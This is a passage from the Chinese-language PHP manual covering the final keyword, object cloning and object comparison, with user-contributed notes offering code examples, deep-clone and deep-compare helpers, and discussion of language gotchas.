BaseClass::test();  // i am `BaseClass::test()` and this is my var: `i belong to BaseClass`
ChildClass::test(); // i am `ChildClass::test()` and this is my var: `i belong to ChildClass`
                    // and this is my parent var: `i belong to BaseClass`
ChildClass::changeVar('something new'); // i am `ChildClass::changeVar()` and i just changed my $var to: `something new`
                                        // but the parent $var is still: `i belong to BaseClass`
BaseClass::changeVar('something different'); // i am `BaseClass::changeVar()` and i just changed my $var to: `something different`
BaseClass::dontCopyMe('a text'); // i am `BaseClass::dontCopyMe()` and i just changed my $var to: `a text`
ChildClass::dontCopyMe('a text'); // Fatal error: Cannot override final method BaseClass::dontCopyMe() in ...
?>
t at bestcodepractise dot com 22-Feb-2014 10:18
@someone
@thomas
Decorating a finalized class is not possible. The decorator that's mentioned is incomplete. There's a fundamental flaw in it. Look:
<?php
//copy'n'paste your FooBar, Foo definition

$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f);  //FALSE
var_dump(is_a($fd, 'Foo')); //FALSE
fooFoo($fd);  //E_RECOVERABLE_ERROR here !!!;

?>
What you've created is just an object that happens to have the same methods(a duck type). But if in the client code someone makes decision based on the type of your passed decorator they'll make incorrect decision - or to be more precise not the one that you, the author of the 'decorator' wants them to make.
FYI that's the correct implementation based on GoF:
<?php
class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

//decorator must inherit the interface(the methods, type info etc.) //of the decorated class by *extending* it.
class FooDecorator extends Foo
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}

function fooFoo(Foo $f) {}
$f = new Foo;
$fd = new FooDecorator($f);

var_dump($fd instanceof $f); //true
fooFoo($fd); //no E_RECOVERABLE_ERROR here;

?>

I haven't come across any legitimate use of a finalizing class/method and I personally think that 'final' is has no much use and is just a copy'n'pasted from Java into PHP. The keyword makes code difficult to test. If you have to create a test double from a finalized class because you'll need create a derived type to shadow the methods you don't care about. If one of them is finalized you've already lost.
someone dot else at elsewhere dot net 04-Jan-2014 10:40
@thomas at somewhere dot com

The 'final' keyword is extremely useful.  Inheritance is also useful, but can be abused and becomes problematic in large applications.  If you ever come across a finalized class or method that you wish to extend, write a decorator instead.

<?php
final class Foo
{
    public method doFoo()
    {
        // do something useful and return a result
    }
}

final class FooDecorator
{
    private $foo;

    public function __construct(Foo $foo)
    {
        $this->foo = $foo;
    }

    public function doFoo()
    {
          $result = $this->foo->doFoo();
          // ... customize result ...
          return $result;
    }
}
?>
Anonymous 28-Sep-2010 07:06
The behaviour of FINAL is not as serious as you may think. A little explample:
<?php
class A {
     final private function method(){}
}

class B extends A {
    private function method(){}
}
?>

Normally you would expect some of the following will happen:
- An error that final and private keyword cannot be used together
- No error as the private visibility says, that a method/var/etc. is only visible within the same class

But what happens is PHP is a little curios: "Cannot override final method A::method()"

So its possible to deny method names in subclasses! Don't know if this is  a good behavior, but maybe its useful for your purpose.
Baldurien 31-Aug-2010 01:37
"Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'."

http://php.net/manual/en/language.oop5.constants.php

This is more or less true, regardless of the fact that constant (being defined at class level or not) in PHP are only scalar (int, string, etc) while in Java they may be pure object (ex: java.awat.Color.BLACK). The only possible solution of having such kind of constant is :

<?php
class Bar {...}
class Foo {
  public static $FOOBAR;

  static function __init() {
    static $init = false;
    if ($init) throw new Exception('Constants were already initialized');
    self::$FOOBAR = new Bar();
    $init = true;
  }
}
Foo::__init();
?>
That said, perhaps it is useless unless PHP automatically calls the __init() method.

However, one alternative that could be done in certain case is this :

<?php
function __autoload($className) {
  ... require the file where the class is ...
  if (interface_exists($className, false)) return;
  if (class_exists($className, false)) {
    $rc = new ReflectionClass($className);
    if (!$rc->hasMethod('__init')) return;
    $m = $rc->getMethod('__init');
    if (!($m->isStatic() && $m->isPrivate())) {
      throw new Exception($className . ' __init() method must be private and static !');
    }
    $m->invoke(null);
    return;
  }
  throw new Exception('Class or interface not found ' . $className);
}
?>

This can only work when one class is defined per file, since we are assured that __autoload() will be called to load the file containing the class.

eg:

test2.php:
<?php
class B {
 public static $X;
 private static function __init() {
   echo 'B', "\n";
   self::$X = array(1, 2);
 }
}
class A {
  public static $Y;
  private static function __init() {
    echo 'A', "\n";
    self::$Y = array(3, 4);
  }
}
?>
test.php:
<?php
function __autoload($n) {
  if ($n == 'A' || $n == 'B') require 'test2.php';
  ... do our __init() trick ...
}
var_dump(B::$X); // shows B, then array(2) (1, 2)
var_dump(A::$Y); // shows NULL.
?>
jriddy at gmail dot com 17-Jul-2009 02:20
Note for Java developers: the 'final' keyword is not used for class constants in PHP. We use the keyword 'const'.

http://php.net/manual/en/language.oop5.constants.php
santoshjoshi2003 at yahoo dot co dot in 05-Dec-2008 02:45
The use of final keyword is just like that occurs in Java
In java final has three uses
    1) prevent class Inheritance
    2) prevent method overriding or redifination of
        method in subclass
    3) and to declare constants
 But the third point seems to be missing from the PHP
 I guess, as i am a java developer Currently gaining competence in PHP
slorenzo at clug dot org dot ve 30-Oct-2007 11:13
<?php
class parentClass {
    public function someMethod() { }
}
class childClass extends parentClass {
    public final function someMethod() { } //override parent function
}

$class = new childClass;
$class->someMethod(); //call the override function in chield class
?>
penartur at yandex dot ru 22-Mar-2007 01:39
Note that you cannot ovverride final methods even if they are defined as private in parent class.
Thus, the following example:
<?php
class parentClass {
    final private function someMethod() { }
}
class childClass extends parentClass {
    private function someMethod() { }
}
?>
dies with error "Fatal error: Cannot override final method parentClass::someMethod() in ***.php on line 7"

Such behaviour looks slight unexpected because in child class we cannot know, which private methods exists in a parent class and vice versa.

So, remember that if you defined a private final method, you cannot place method with the same name in child class.


对象复制

在多数情况下，我们并不需要完全复制一个对象来获得其中属性。但有一个情况下确实需要：如果你有一个 GTK 窗口对象，该对象持有窗口相关的资源。你可能会想复制一个新的窗口，保持所有属性与原来的窗口相同，但必须是一个新的对象（因为如果不是新的对象，那么一个窗口中的改变就会影响到另一个窗口）。还有一种情况：如果对象 A 中保存着对象 B 的引用，当你复制对象 A 时，你想其中使用的对象不再是对象 B 而是 B 的一个副本，那么你必须得到对象 A 的一个副本。

对象复制可以通过 clone 关键字来完成（如果可能，这将调用对象的 __clone() 方法）。

$copy_of_object = clone $object;

当对象被复制后，PHP 会对对象的所有属性执行一个浅复制（shallow copy）。所有的引用属性 仍然会是一个指向原来的变量的引用。

__clone(): void

当复制完成时，如果定义了 __clone() 方法，则新创建的对象（复制生成的对象）中的 __clone() 方法会被调用，可用于修改属性的值（如果有必要的话）。

Example #1 复制一个对象

<?php
class SubObject
{
static $instances = 0;
public $instance;

public function __construct() {
$this->instance = ++self::$instances;
}

public function __clone() {
$this->instance = ++self::$instances;
}
}

class MyCloneable
{
public $object1;
public $object2;

function __clone()
{

// 强制复制一份this->object， 否则仍然指向同一个对象
$this->object1 = clone $this->object1;
}
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print "Original Object:\n";
print_r($obj);

print "Cloned Object:\n";
print_r($obj2);

?>

以上示例会输出：

Original Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 1
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)
Cloned Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [instance] => 3
        )

    [object2] => SubObject Object
        (
            [instance] => 2
        )

)

可以在单个表达式中访问刚刚克隆的对象的成员：

Example #2 访问新克隆的对象的成员

<?php
$dateTime = new DateTime();
echo (clone $dateTime)->format('Y');
?>

以上示例的输出类似于：

2016

User Contributed Notes

tolgakaragol at gmail dot com 28-Aug-2019 07:53
Here is a basic example about clone issue. If we use clone in getClassB method. Return value will be same as new B() result. But it we dont use clone we can effect B::$varA.

class A
{
    protected $classB;

    public function __construct(){
        $this->classB = new B();
    }

    public function getClassB()
    {
        return clone $this->classB;
    }
}

class B
{
    protected $varA = 2;

    public function getVarA()
    {
        return $this->varA;
    }

    public function setVarA()
    {
        $this->varA = 3;
    }
}

$a = new A();

$classB = $a->getClassB();

$classB->setVarA();

echo $a->getClassB()->getVarA() . PHP_EOL;// with clone -> 2, without clone it returns -> 3

echo $classB->getVarA() . PHP_EOL; // returns always 3
flaviu dot chelaru at gmail dot com 11-Jun-2018 07:09
<?php

class Foo
{
    private $bar = 1;

    public function get()
    {
        $x = clone $this;
        return $x->bar;
    }
}
// will NOT throw exception.
// Foo::$bar property is visible internally even if called as external on the clone
print (new Foo)->get();
yinzw at chuchujie dot com 05-Jul-2016 01:10
It's clearly depicted in the manual, about the mechanism of clone process:
- First, shallow copy: properties of references will keep references (refer to the same target/variable)
- Then, change content/property as requested (calling __clone method which is defined by user).

To illustrate this process, the following example codes seems better, comparing the the original version:

class SubObject
{
    static $num_cons = 0;
    static $num_clone = 0;

    public $construct_value;
    public $clone_value;

    public function __construct() {
        $this->construct_value = ++self::$num_cons;
    }

    public function __clone() {
        $this->clone_value = ++self::$num_clone;
    }
}

class MyCloneable
{
    public $object1;
    public $object2;

    function __clone()
    {
        // 强制复制一份this->object， 否则仍然指向同一个对象
        $this->object1 = clone $this->object1;
    }
}

$obj = new MyCloneable();

$obj->object1 = new SubObject();
$obj->object2 = new SubObject();

$obj2 = clone $obj;

print("Original Object:\n");
print_r($obj);
echo '<br>';
print("Cloned Object:\n");
print_r($obj2);

==================

the output is as below

Original Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [construct_value] => 1
            [clone_value] =>
        )

    [object2] => SubObject Object
        (
            [construct_value] => 2
            [clone_value] =>
        )

)
<br>Cloned Object:
MyCloneable Object
(
    [object1] => SubObject Object
        (
            [construct_value] => 1
            [clone_value] => 1
        )

    [object2] => SubObject Object
        (
            [construct_value] => 2
            [clone_value] =>
        )

)
fabio at naoimporta dot com 21-Feb-2016 09:53
It's possible to know how many clones have been created of a  object. I'm think that is correct:

<?php

class Classe {

    public static $howManyClones = 0;

    public function __clone() {
        ++static::$howManyClones;
    }

    public static function howManyClones() {
        return static::$howManyClones;
    }

    public function __destruct() {
        --static::$howManyClones;
    }
}

$a = new Classe;

$b = clone $a;
$c = clone $b;
$d = clone $c;

echo 'Clones:' . Classe::howManyClones() . PHP_EOL;

unset($d);

echo 'Clones:' . Classe::howManyClones() . PHP_EOL;
jason at jewelrysupply dot com 24-Sep-2015 09:44
@DPB

I believe the two functions are not quite the same. The serialize followed by deserialize method is the way I've done deep cloning in other languages (bypasses any weird clone function behavior and ensures you have a no-strings-attached copy of the object).
stanislav dot eckert at vizson dot de 13-Dec-2014 12:53
This base class automatically clones attributes of type object or array values of type object recursively. Just inherit your own classes from this base class.

<?php
    class clone_base
    {
        public function __clone()
        {
            $object_vars = get_object_vars($this);

            foreach ($object_vars as $attr_name => $attr_value)
            {
                if (is_object($this->$attr_name))
                {
                    $this->$attr_name = clone $this->$attr_name;
                }
                else if (is_array($this->$attr_name))
                {
                    // Note: This copies only one dimension arrays
                    foreach ($this->$attr_name as &$attr_array_value)
                    {
                        if (is_object($attr_array_value))
                        {
                            $attr_array_value = clone $attr_array_value;
                        }
                        unset($attr_array_value);
                    }
                }
            }
        }
    }
?>

Example:
<?php
    class foo extends clone_base
    {
        public $attr = "Hello";
        public $b = null;
        public $attr2 = array();

        public function __construct()
        {
            $this->b = new bar("World");
            $this->attr2[] = new bar("What's");
            $this->attr2[] = new bar("up?");
        }
    }

    class bar extends clone_base
    {
        public $attr;

        public function __construct($attr_value)
        {
            $this->attr = $attr_value;
        }
    }

    echo "<pre>";

    $f1 = new foo();
    $f2 = clone $f1;
    $f2->attr = "James";
    $f2->b->attr = "Bond";
    $f2->attr2[0]->attr = "Agent";
    $f2->attr2[1]->attr = "007";

    echo "f1.attr = " . $f1->attr . "\n";
    echo "f1.b.attr = " . $f1->b->attr . "\n";
    echo "f1.attr2[0] = " . $f1->attr2[0]->attr . "\n";
    echo "f1.attr2[1] = " . $f1->attr2[1]->attr . "\n";
    echo "\n";
    echo "f2.attr = " . $f2->attr . "\n";
    echo "f2.b.attr = " . $f2->b->attr . "\n";
    echo "f2.attr2[0] = " . $f2->attr2[0]->attr . "\n";
    echo "f2.attr2[1] = " . $f2->attr2[1]->attr . "\n";
?>
jojor at gmx dot net 07-Jun-2010 01:47
Here is test script i wrote to test the behaviour of clone when i have arrays with primitive values in my class - as an additonal test of the note below by jeffrey at whinger dot nl

<pre>
<?php

class MyClass {

    private $myArray = array();
    function pushSomethingToArray($var) {
        array_push($this->myArray, $var);
    }
    function getArray() {
        return $this->myArray;
    }

}

//push some values to the myArray of Mainclass
$myObj = new MyClass();
$myObj->pushSomethingToArray('blue');
$myObj->pushSomethingToArray('orange');
$myObjClone = clone $myObj;
$myObj->pushSomethingToArray('pink');

//testing
print_r($myObj->getArray());     //Array([0] => blue,[1] => orange,[2] => pink)
print_r($myObjClone->getArray());//Array([0] => blue,[1] => orange)
//so array  cloned

?>
</pre>
emile at webflow dot nl 02-Mar-2010 01:27
Another gotcha I encountered: like __construct and __desctruct, you must call parent::__clone() yourself from inside a child's __clone() function. The manual kind of got me on the wrong foot here: "An object's __clone() method cannot be called directly."
ben at last dot fm 05-Jun-2009 10:33
Here are some cloning and reference gotchas we came up against at Last.fm.

1. PHP treats variables as either 'values types' or 'reference types', where the difference is supposed to be transparent. Object cloning is one of the few times when it can make a big difference. I know of no programmatic way to tell if a variable is intrinsically a value or reference type. There IS however a non-programmatic ways to tell if an object property is value or reference type:

<?php

class A { var $p; }

$a = new A;
$a->p = 'Hello'; // $a->p is a value type
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello" // <-- no &
}
*/

$ref =& $a->p; // note that this CONVERTS $a->p into a reference type!!
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  &string(5) "Hello" // <-- note the &, this indicates it's a reference.
}
*/

?>

2. unsetting all-but-one of the references will convert the remaining reference back into a value. Continuing from the previous example:

<?php

unset($ref);
var_dump($a);

/*
object(A)#1 (1) {
  ["p"]=>
  string(5) "Hello"
}
*/

?>

I interpret this as the reference-count jumping from 2 straight to 0. However...

2. It IS possible to create a reference with a reference count of 1 - i.e. to convert an property from value type to reference type, without any extra references. All you have to do is declare that it refers to itself. This is HIGHLY idiosyncratic, but nevertheless it works. This leads to the observation that although the manual states that 'Any properties that are references to other variables, will remain references,' this is not strictly true. Any variables that are references, even to *themselves* (not necessarily to other variables), will be copied by reference rather than by value.

Here's an example to demonstrate:

<?php

class ByVal
{
    var $prop;
}

class ByRef
{
    var $prop;
    function __construct() { $this->prop =& $this->prop; }
}

$a = new ByVal;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop remains at 1

$a = new ByRef;
$a->prop = 1;
$b = clone $a;
$b->prop = 2; // $a->prop is now 2

?>
cheetah at tanabi dot org 18-Nov-2008 05:15
Want deep cloning without too much hassle?

<?php
function __clone() {
    foreach($this as $key => $val) {
        if(is_object($val)||(is_array($val))){
            $this->{$key} = unserialize(serialize($val));
        }
    }
}
?>

That will insure any object, or array that may potentially contain objects, will get cloned without using recursion or other support methods.

[EDIT BY danbrown AT php DOT net: An almost exact function was contributed on 02-DEC-2008-10:18 by (david ashe AT metabin):

<?php
    function __clone(){
        foreach($this as $name => $value){
            if(gettype($value)=='object'){
                $this->$name= clone($this->$name);
            }
        }
    }
?>

Giving credit where it's due.  ~DPB]
[EDIT BY cmb AT php DOT net: the latter function fails to make deep copies of object arrays, and might end up with infinite recursion.]
crrodriguez at suse dot de 12-Mar-2008 09:52
Keep in mind that since PHP 5.2.5, trying to clone a non-object correctly results in a fatal error, this differs from previous versions where only a Warning was thrown.
Hayley Watson 17-Dec-2007 03:51
It should go without saying that if you have circular references, where a property of object A refers to object B while a property of B refers to A (or more indirect loops than that), then you'll be glad that clone does NOT automatically make a deep copy!

<?php

class Foo
{
    var $that;

function __clone()
{
    $this->that = clone $this->that;
}

}

$a = new Foo;
$b = new Foo;
$a->that = $b;
$b->that = $a;

$c = clone $a;
echo 'What happened?';
var_dump($c);
MakariVerslund at gmail dot com 21-Jan-2007 04:30
I ran into the same problem of an array of objects inside of an object that I wanted to clone all pointing to the same objects. However, I agreed that serializing the data was not the answer. It was relatively simple, really:

public function __clone() {
    foreach ($this->varName as &$a) {
        foreach ($a as &$b) {
            $b = clone $b;
        }
    }
}

Note, that I was working with a multi-dimensional array and I was not using the Key=>Value pair system, but basically, the point is that if you use foreach, you need to specify that the copied data is to be accessed by reference.
jorge dot villalobos at gmail dot com 30-Mar-2005 03:29
I think it's relevant to note that __clone is NOT an override. As the example shows, the normal cloning process always occurs, and it's the responsibility of the __clone method to "mend" any "wrong" action performed by it.


对象比较

当使用比较运算符（==）比较两个对象变量时，比较的原则是：如果两个对象的属性和属性值 （值使用 == 对比）都相等，而且两个对象是同一个类的实例，那么这两个对象变量相等。

而如果使用全等运算符（===），这两个对象变量一定要指向某个类的同一个实例（即同一个对象）。

通过下面的示例可以理解以上原则。

Example #1 对象比较的例子

<?php
function bool2str($bool)
{
if ($bool === false) {
return 'FALSE';
} else {
return 'TRUE';
}
}

function compareObjects(&$o1, &$o2)
{
echo 'o1 == o2 : ' . bool2str($o1 == $o2) . "\n";
echo 'o1 != o2 : ' . bool2str($o1 != $o2) . "\n";
echo 'o1 === o2 : ' . bool2str($o1 === $o2) . "\n";
echo 'o1 !== o2 : ' . bool2str($o1 !== $o2) . "\n";
}

class Flag
{
public $flag;

function __construct($flag = true) {
$this->flag = $flag;
}
}

class OtherFlag
{
public $flag;

function __construct($flag = true) {
$this->flag = $flag;
}
}

$o = new Flag();
$p = new Flag();
$q = $o;
$r = new OtherFlag();

echo "Two instances of the same class\n";
compareObjects($o, $p);

echo "\nTwo references to the same instance\n";
compareObjects($o, $q);

echo "\nInstances of two different classes\n";
compareObjects($o, $r);
?>

以上示例会输出：

Two instances of the same class
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Two references to the same instance
o1 == o2 : TRUE
o1 != o2 : FALSE
o1 === o2 : TRUE
o1 !== o2 : FALSE

Instances of two different classes
o1 == o2 : FALSE
o1 != o2 : TRUE
o1 === o2 : FALSE
o1 !== o2 : TRUE

Note:

PHP 扩展中可以自行定义对象比较（==）的原则。

User Contributed Notes

cpmjr1 at gmail dot com 02-Mar-2023 05:32
It is not immediately obvious based on the docs, but the equality comparison operator does also check protected and private properties.

Example:
<?php
class A { public $a = 0; private $b = 1; public function __construct($test) {$this->b = $test;}}
echo "A(1) == A(2) " . var_export((new A(1)) == (new A(2)), true) . "\n";
echo "A(1) == A(1) " . var_export((new A(1)) == (new A(1)), true) . "\n";
?>
Output:
A(1) == A(2) false
A(1) == A(1) true
rnealxp at yahoo dot com 12-Apr-2020 04:19
Please use this corrected version of function "valuesAreIdentical" instead of that which I previously posted (dependencies found in previous post); if an Admin can just replace the fn snippet, awesome/thanks, otherwise, apologies.
<?php
    public static function valuesAreIdentical($v1, $v2):bool{
        $type1 = gettype($v1);
        $type2 = gettype($v2);
        switch(true){
            case ($type1 !== $type2):
                return false;
            case ($type1==='boolean' || $type1==='integer' || $type1==='double' || $type1==='string'):
                //Do strict comparison here.
                return ($v1===$v2);
            case ($type1==='array'):
                return self::arraysAreIdentical($v1, $v2);
            case ($type1==='object'):
                return self::objectsAreIdentical($v1,$v2);
            case ($type1==='NULL'):
                //Since both types were of type NULL, consider their "values" equal.
                return true;
            case ($type1==='resource' || $type1==='unknown type'):
                //How to compare if at all?
                return true;
            default:
                return true; //Code-flow not intended to arrive here.
        } //end switch
    }
?>
rnealxp at yahoo dot com 20-May-2017 10:26
These three functions call themselves recursively and handle any nesting levels of arrays/objects/values and do strict comparisons. The entry-point to this function set would be "valuesAreIdentical".

<?php
function valuesAreIdentical($v1, $v2): bool {
    $type1 = gettype($v1);
    $type2 = gettype($v2);

    if($type1 !== $type2){
        return false;
    }

    switch(true){
        case ($type1==='boolean' || $type1==='integer' || $type1==='double' || $type1==='string'):
            //Do strict comparison here.
            if($v1 !== $v2){
                return false;
            }
            break;

        case ($type1==='array'):
            $bool = arraysAreIdentical($v1, $v2);
            if($bool===false){
                return false;
            }
            break;

        case 'object':
            $bool = objectsAreIdentical($v1,$v2);
            if($bool===false){
                return false;
            }
            break;

        case 'NULL':
            //Since both types were of type NULL, consider their "values" equal.
            break;

        case 'resource':
            //How to compare if at all?
            break;

        case 'unknown type':
            //How to compare if at all?
            break;
    } //end switch

    //All tests passed.
    return true;
}

function objectsAreIdentical($o1, $o2): bool {
    //See if loose comparison passes.
    if($o1 != $o2){
        return false;
    }

    //Now do strict(er) comparison.
    $objReflection1 = new ReflectionObject($o1);
    $objReflection2 = new ReflectionObject($o2);

    $arrProperties1 = $objReflection1->getProperties(ReflectionProperty::IS_PUBLIC);
    $arrProperties2 = $objReflection2->getProperties(ReflectionProperty::IS_PUBLIC);

    $bool = arraysAreIdentical($arrProperties1, $arrProperties2);
    if($bool===false){
        return false;
    }

    foreach($arrProperties1 as $key=>$propName){
        $bool = valuesAreIdentical($o1->$propName, $o2->$propName);
        if($bool===false){
            return false;
        }
    }

    //All tests passed.
    return true;
}

function arraysAreIdentical(array $arr1, array $arr2): bool {
    $count = count($arr1);

    //Require that they have the same size.
    if(count($arr2) !== $count){
        return false;
    }

    //Require that they have the same keys.
    $arrKeysInCommon = array_intersect_key($arr1, $arr2);
    if(count($arrKeysInCommon)!== $count){
        return false;
    }

    //Require that their keys be in the same order.
    $arrKeys1 = array_keys($arr1);
    $arrKeys2 = array_keys($arr2);
    foreach($arrKeys1 as $key=>$val){
        if($arrKeys1[$key] !== $arrKeys2[$key]){
            return false;
        }
    }

    //They do have same keys and in same order.
    foreach($arr1 as $key=>$val){
        $bool = valuesAreIdentical($arr1[$key], $arr2[$key]);
        if($bool===false){
            return false;
        }
    }

    //All tests passed.
    return true;
}
?>
nhuhoai 17-Feb-2014 12:45
For comparison about two objects in a class, you can use an interface like this and customize your functions for each class:

<?php
interface EQU {
    public static function compare( EQU $me, EQU $you );
    public function equals( EQU $you );
}
?>

If you gotcha a super class, you can make generic functions (not safe but work with not complex class):

<?php
abstract class SuperClass {
    public function __construct( ) {
        // do what you need
    }
    public static function compare( $obj1, $obj2 ) {
        return serialize( $obj1 ) == serialize( $obj2 );
    }
    public function equals( $obj ) {
        return static::compare( $this, $obj );
    }
}
?>
Oddant 29-May-2013 05:15
This example is way too much confusing, if you new to php comparison motor, you should think (after reading this example) that '==' is actually comparing the type of the objects. that's not true, it actually compares the type of the objects AND the properties of them.

<?php

class A {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}
class B {
    private $value;
    function __construct ($value)
    {
        $this->value = $value;
    }
}

$a1 = new A (1);
$a2 = new A (2);
$b1 = new B (1);

var_dump( $a1 == $a2 );
var_dump( $a1 == $b1 );
?>
Anonymous 02-Jul-2010 09:00
Comparison using <> operators should be documented.  Between two objects, at least in PHP5.3, the comparison operation stops and returns at the first unequal property found.

<?php

$o1 = new stdClass();
$o1->prop1 = 'c';
$o1->prop2 = 25;
$o1->prop3 = 201;
$o1->prop4 = 1000;

$o2 = new stdClass();
$o2->prop1 = 'c';
$o2->prop2 = 25;
$o2->prop3 = 200;
$o2->prop4 = 9999;

echo (int)($o1 < $o2); // 0
echo (int)($o1 > $o2); // 1

$o1->prop3 = 200;

echo (int)($o1 < $o2); // 1
echo (int)($o1 > $o2); // 0

?>
Hayley Watson 16-Sep-2008 03:33
This has already been mentioned (see jazfresh at hotmail.com's note), but here it is again in more detail because for objects the difference between == and === is significant.

Loose equality (==) over objects is recursive: if the properties of the two objects being compared are themselves objects, then those properties will also be compared using ==.

<?php
class Link
{
    public $link; function __construct($link) { $this->link = $link; }
}
class Leaf
{
    public $leaf; function __construct($leaf) { $this->leaf = $leaf; }
}

$leaf1 = new Leaf(42);
$leaf2 = new Leaf(42);

$link1 = new Link($leaf1);
$link2 = new Link($leaf2);

echo "Comparing Leaf object equivalence: is \$leaf1==\$leaf2? ", ($leaf1 == $leaf2  ? "Yes" : "No"), "\n";
echo "Comparing Leaf object identity: is \$leaf1===\$leaf2? ",   ($leaf1 === $leaf2 ? "Yes" : "No"), "\n";
echo "\n";
echo "Comparing Link object equivalence: is \$link1==\$link2? ",($link1 == $link2  ? "Yes" : "No"), "\n";
echo "Comparing Link object identity: is \$link1===\$link2? ",  ($link1 === $link2 ? "Yes" : "No"), "\n";
?>

Even though $link1 and $link2 contain different Leaf objects, they are still equivalent because the Leaf objects are themselves equivalent.

The practical upshot is that using "==" when "===" would be more appropriate can result in a severe performance penalty, especially if the objects are large and/or complex. In fact, if there are any circular relationships involved between the objects or (recursively) any of their properties, then a fatal error can result because of the implied infinite loop.

<?php
class Foo { public $foo; }
$t = new Foo; $t->foo = $t;
$g = new Foo; $g->foo = $g;

echo "Strict identity:   ", ($t===$g ? "True" : "False"),"\n";
echo "Loose equivalence: ", ($t==$g  ? "True" : "False"), "\n";
?>

So preference should be given to comparing objects with "===" rather than "=="; if two distinct objects are to be compared for equivalence, try to do so by examining suitable individual properties. (Maybe PHP could get a magic "__equals" method that gets used to evaluate "=="? :) )
wbcarts at juno dot com 08-Sep-2008 01:36
COMPARING OBJECTS using PHP's usort() method.

PHP and MySQL both provide ways to sort your data already, and it is a good idea to use that if possible. However, since this section is on comparing your own PHP objects (and that you may need to alter the sorting method in PHP), here is an example of how you can do that using PHP's "user-defined" sort method, usort() and your own class compare() methods.

<?php

/*
 * Employee.php
 *
 * This class defines a compare() method, which tells PHP the sorting rules
 * for this object - which is to sort by emp_id.
 *
 */
class Employee
{
    public $first;
    public $last;
    public $emp_id;     // the property we're interested in...

    public function __construct($emp_first, $emp_last, $emp_ID)
    {
        $this->first = $emp_first;
        $this->last = $emp_last;
        $this->emp_id = $emp_ID;
    }

    /*
     * define the rules for sorting this object - using emp_id.
     * Make sure this function returns a -1, 0, or 1.
     */
    public static function compare($a, $b)
    {
        if ($a->emp_id < $b->emp_id) return -1;
        else if($a->emp_id == $b->emp_id) return 0;
        else return 1;
    }

    public function __toString()
    {
        return "Employee[first=$this->first, last=$this->last, emp_id=$this->emp_id]";
    }
}

# create a PHP array and initialize it with Employee objects.
$employees = array(
  new Employee("John", "Smith", 345),
  new Employee("Jane", "Doe", 231),
  new Employee("Mike", "Barnes", 522),
  new Employee("Vicky", "Jones", 107),
  new Employee("John", "Doe", 2),
  new Employee("Kevin", "Patterson", 89)
);

# sort the $employees array using Employee compare() method.
usort($employees, array("Employee", "compare"));

# print the results
foreach($employees as $employee)
{
  echo $employee . '<br>';
}
?>

Results are now sorted by emp_id:

Employee[first=John, last=Doe, emp_id=2]
Employee[first=Kevin, last=Patterson, emp_id=89]
Employee[first=Vicky, last=Jones, emp_id=107]
Employee[first=Jane, last=Doe, emp_id=231]
Employee[first=John, last=Smith, emp_id=345]
Employee[first=Mike, last=Barnes, emp_id=522]

Important Note: Your PHP code will never directly call the Employee's compare() method, but PHP's usort() calls it many many times. Also, when defining the rules for sorting, make sure to get to a "primitive type" level... that is, down to a number or string, and that the function returns a -1, 0, or 1, for reliable and consistent results.

Also see: http://www.php.net/manual/en/function.usort.php for more examples of PHP's sorting facilities.
cross+php at distal dot com 05-Mar-2008 08:50
In response to "rune at zedeler dot dk"s comment about class contents being equal, I have a similar issue.  I want to sort an array of objects using sort().

I know I can do it with usort(), but I'm used to C++ where you can define operators that allow comparison.  I see in the zend source code that it calls a compare_objects function, but I don't see any way to implement that function for an object.  Would it have to be an extension to provide that interface?

If so, I'd like to suggest that you allow equivalence and/or comparison operations to be defined in a class definition in PHP.  Then, the sorts of things rune and I want to do would be much easier.
rune at zedeler dot dk 28-Feb-2007 08:34
Whoops, apparently I hadn't checked the array-part of the below very well.
Forgot to test if the arrays had same length, and had some misaligned parenthesis.
This one should work better :+)

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
        return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a)) && !is_null(key($b))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
        return false;
      next($a); next($b);
    }
    return is_null(key($a)) && is_null(key($b));
  }
  else
    return $a===$b;
}
?>
rune at zedeler dot dk 27-Feb-2007 08:27
I haven't found a build-in function to check whether two obects are identical - that is, all their fields are identical.
In other words,

<?
class A {
  var $x;
  function __construct($x) { $this->x = $x; }

}
$identical1 = new A(42);
$identical2 = new A(42);
$different = new A('42');
?>

Comparing the objects with "==" will claim that all three of them are equal. Comparing with "===" will claim that all are un-equal.
I have found no build-in function to check that the two identicals are
identical, but not identical to the different.

The following function does that:

<?
function deepCompare($a,$b) {
  if(is_object($a) && is_object($b)) {
    if(get_class($a)!=get_class($b))
      return false;
    foreach($a as $key => $val) {
      if(!deepCompare($val,$b->$key))
    return false;
    }
    return true;
  }
  else if(is_array($a) && is_array($b)) {
    while(!is_null(key($a) && !is_null(key($b)))) {
      if (key($a)!==key($b) || !deepCompare(current($a),current($b)))
    return false;
      next($a); next($b);
    }
    return true;
  }
  else
    return $a===$b;
}
?>
jazfresh at hotmail.com 08-Dec-2006 02:36
Note that when comparing object attributes, the comparison is recursive (at least, it is with PHP 5.2). That is, if $a->x contains an object then that will be compared with $b->x in the same manner. Be aware that this can lead to recursion errors:
<?php
class Foo {
    public $x;
}
$a = new Foo();
$b = new Foo();
$a->x = $b;
$b->x = $a;

print_r($a == $b);
?>
Results in:
PHP Fatal error:  Nesting level too deep - recursive dependency? in test.php on line 11


后期静态绑定

